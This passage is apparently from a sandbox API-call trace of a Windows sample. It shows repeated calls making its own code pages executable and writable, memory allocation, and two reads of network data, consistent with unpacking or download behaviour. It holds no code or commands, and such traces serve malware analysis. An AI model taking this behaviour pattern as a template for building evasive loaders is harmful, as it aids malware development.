NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.168] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.176] VirtualAlloc (lpAddress=0x0, dwSize=0x190000, flAllocationType=0x2000, flProtect=0x1) returned 0x1ebe0000 [0140.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.189] VirtualAlloc (lpAddress=0x1ebe0000, dwSize=0x190000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ebe0000 [0140.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.339] VirtualFree (lpAddress=0x1e884000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0140.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.399] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.446] VirtualFree (lpAddress=0x1e9e0000, dwSize=0xf4000, dwFreeType=0x4000) returned 1 [0140.452] VirtualFree (lpAddress=0x1e950000, dwSize=0x90000, dwFreeType=0x4000) returned 1 [0140.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.553] VirtualFree (lpAddress=0x1e9e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.555] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.693] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0140.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.757] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.785] VirtualAlloc (lpAddress=0x1e884000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e884000 [0140.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0140.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.051] VirtualFree (lpAddress=0x1e870000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0141.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.202] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.226] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.236] VirtualAlloc (lpAddress=0x1ed70000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1ed70000 [0141.237] VirtualAlloc (lpAddress=0x1ed70000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ed70000 [0141.237] VirtualFree (lpAddress=0x1e894000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0141.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.327] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0141.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.424] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.447] VirtualAlloc (lpAddress=0x1e894000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e894000 [0141.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.509] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 